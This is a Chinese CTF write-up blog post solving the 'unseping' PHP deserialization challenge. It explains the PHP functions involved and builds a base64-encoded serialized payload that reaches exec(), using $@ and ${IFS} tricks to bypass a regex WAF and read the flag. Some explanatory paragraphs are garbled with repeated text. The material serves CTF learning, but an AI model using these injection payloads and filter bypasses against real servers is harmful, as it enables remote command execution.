江苏工匠杯-unseping&序列化,正则绕过

学习借鉴:

unseping&序列化

由于本人没有认真仔细学习过PHP语言,不会不理解的函数就要使用ChatGPT工具对代码进行解析。由于PHP 的内置函数较多,本人还没有学到,只能通过做题的过程进行积累。

01 题目直接把源码给咱们了

image.png

<?php
  highlight_file(__FILE__);

class ease{

  private $method;
  private $args;
  function __construct($method, $args) {
    $this->method = $method;
    $this->args = $args;
  }

  function __destruct(){
    if (in_array($this->method, array("ping"))) {
      call_user_func_array(array($this, $this->method), $this->args);
    }
  } 

  function ping($ip){
    exec($ip, $result);
    var_dump($result);
  }

  function waf($str){
    if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
      return $str;
    } else {
      echo "don't hack";
    }
  }

  function __wakeup(){
    foreach($this->args as $k => $v) {
      $this->args[$k] = $this->waf($v);
    }
  }   
}

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

先来扫扫盲,有如下PHP函数

1.array() 是在PHP中创建一个新数组的函数。它可以用不同的方式来创建数组,例如:

  1. 通过在array()函数中列出值来创建数组:
$array = array("apple", "banana", "orange");
  1. 通过指定键和值的关联数组创建数组:
$array = array("name" => "John", "age" => 30, "city" => "New York");
  1. 使用索引数字和关联键来创建混合数组:
$array = array("apple", "banana", "name" => "John", "age" => 30);

array()函数可以接受任意数量的参数,并将它们转换为数组。如果没有参数,它将创建一个空数组。

PHP中的数组函数(array functions)是一组用于处理数组的内置函数。以下是一些常见的PHP数组函数:

  1. count() - 返回数组中元素的数量
  2. array_push() - 在数组末尾插入一个或多个元素
  3. array_pop() - 从数组末尾删除并返回一个元素
  4. array_shift() - 从数组开头删除并返回一个元素
  5. array_unshift() - 在数组开头插入一个或多个元素
  6. array_slice() - 返回数组的一个子集
  7. array_splice() - 从数组中删除并插入元素
  8. array_merge() - 合并一个或多个数组
  9. in_array() - 检查一个值是否在数组中
  10. array_search() - 在数组中搜索一个值并返回其键名

2. call_user_func_array()与 call_user_func()

call_user_func() 是利用回调函数处理字符串

call_user_func_array() 是利用回调函数处理数组.


$params 是参数,

eg:

// 1、 调用自定义函数
function test($a, $b)
{
    echo $a + $b;
}
// 字符串传参
call_user_func(‘test‘, 1, 2); // 3
// 数组式传参
call_user_func_array(‘test‘, [1, 2]); // 3

3. exec() 系统命令执行函数 (PHP常见,大马小马的工作原理的根本函数)

function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }

exec() 函数来执行一个系统命令,并将命令执行的结果存储在 $result 数组中。

4. 在 PHP 中 var_dump 函数用于输出 变量 的相关信息

使用 var_dump() 函数输出 $result 数组的内容,以便调试和查看命令执行的结果。

5. preg_match_all()

preg_match_all() 函数是 PHP 中用于进行正则表达式匹配的函数,它的语法如下:

preg_match_all(string $pattern, string $subject, array &$matches, 
               int $flags = 0, int $offset = 0): int|false

其中,各参数的含义如下:

  • $pattern:正则表达式模式,用于匹配字符串。
  • $subject:待匹配的字符串。
  • $matches:一个引用变量,用于存储匹配到的结果。当函数执行成功时,该变量会被填充为一个二维数组,其中第一维表示匹配到的结果集,第二维表示该结果集中每个匹配项的子组匹配结果。如果没有匹配到任何内容,则该变量将被填充为空数组。
  • $flags(可选):用于指定匹配模式的标志,例如 PREG_PATTERN_ORDER、PREG_SET_ORDER、PREG_OFFSET_CAPTURE 等。默认为 0。
  • $offset(可选):用于指定开始匹配的位置偏移量。默认为 0。

preg_match_all() 函数会在 $subject 字符串中查找与 $pattern 正则表达式模式匹配的所有子串,并将匹配结果存储在 $matches 数组中。在 $matches 数组中,每个子数组都包含匹配到的一个结果集,其中第一个元素是整个匹配到的字符串,后面的元素则表示该字符串中每个子组匹配的结果。

6. foreach($this->args as $k => $v)

foreach 循环语句是 PHP 中用于遍历数组的一种常见语法结构。它可以逐个取出数组中的元素,并对每个元素执行一些操作,语法结构如下:

foreach (array_expression as $value) {
    statement
}

foreach (array_expression as $key => $value) {
    statement
}

其中,array_expression 指定了要遍历的数组。
在第一种语法结构中, v a l u e 代表当前循环的元素值,循环体内可以对其进行操作;在第二种语法结构中, value 代表当前循环的元素值,循环体内可以对其进行操作;在第二种语法结构中, value代表当前循环的元素值,循环体内可以对其进行操作;在第二种语法结构中,key 代表当前循环的元素键, v a l u e 则代表当前循环的元素值,循环体内可以对这两个变量进行操作。在 f o r e a c h 循环中,循环体内的 s t a t e m e n t 会被执行一次或多次,直到遍历完整个数组。在每次循环中, value 则代表当前循环的元素值,循环体内可以对这两个变量进行操作。 在 foreach 循环中,循环体内的 statement 会被执行一次或多次,直到遍历完整个数组。在每次循环中, value则代表当前循环的元素值,循环体内可以对这两个变量进行操作。在foreach循环中,循环体内的statement会被执行一次或多次,直到遍历完整个数组。在每次循环中,value 或 $key 和 $value 的值会被更新为数组中的下一个元素。
foreach 循环语句在循环体内部对 $value 或 $key 进行的任何修改都不会影响到数组本身。

7. serialize()与unserialize()

序列化与反序列化函数

8. base64_decode() base64解密

9. base64_encode() base64加密

02 分析程序执行过程:

image.png
我们直接抓住关键点,不要浪费精力。

  1. 大框框属于反序列化提交的内容,并且进行base64的解码;
  2. 大框框属于正则过滤危险字符;
  3. 创建两个对象的私有属性:

$method:一个私有属性,用于存储类方法的名称。
$args:一个私有属性,用于存储传递给类方法的参数。

  1. 大框框属于foreach遍历传递参数;
  2. 在__destruct()函数中,如果 m e t h o d 属性的值是 p i n g ,则调用 c a l l u s e r f u n c a r r a y ( ) 函数,将 method属性的值是ping,则调用call_user_func_array()函数,将 method属性的值是ping,则调用calluserfuncarray()函数,将this对象和 t h i s − > m e t h o d 属性的值作为第一个参数,将 this->method属性的值作为第一个参数,将 this>method属性的值作为第一个参数,将this->args属性的值作为第二个参数,实现了对ping()方法的动态调用。
  3. ping():一个公共方法,用于执行$ip参数中指定的命令,并将结果打印到屏幕上。

03构造反序列程序payload

payload构造的反序列化字符串会在原题目中的第40行序列化复现操作,并执行。

<?php
class ease{
    private $method;
    private $args;
	
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}
$a = new ease("ping",array('id'));//序列化的具体成员变量
echo serialize($a)."<br>";        //输出反序列化字符串
echo base64_encode(serialize($a)); //调用反序列化函数,并对反序列化字符串进行base64加密。
?>

在 Linux shell 中,反引号 ` 和 $() 都可以用来执行一个子命令,并将执行结果作为一个字符串返回。
例如,以下两个命令的作用是相同的:

result=`command`
result=$(command)

开始分析绕过简单的WAF

  function waf($str){
    if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
      return $str;
    } else {
      echo "don't hack";
    }
  }

过滤了很多字符 包括空格。

使用正则绕过

因为源代码绕过了斜杠和空格等关键字导致了不能直接获取flag信息,为了方便执行后续命令执行获得flag,我考虑的方案是空格绕过法和空变量绕过来绕过PHP正则的匹配。
${IFS} 空格绕过
$@ 空变量

ls 查看网站根目录

$a = new ease("ping",array('l$@s'));//序列化的具体成员变量,修改执行语句为ls,使用空变量绕过

执行payload得到,
image.png
第一行是反序列化字符串,第二行是对字符串又做了base64加密。

使用浏览器插件hackbar对网站进行POST数据提交
image.png
点击 EXECUTE 执行,发现存在两个文件。
image.png
之后查看用cat 查看文件内容,使用空格绕过与空变量绕过WAF。

$a = new ease("ping",array('ca$@t${IFS}`find`'));//序列化的具体成员变量

image.png
image.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值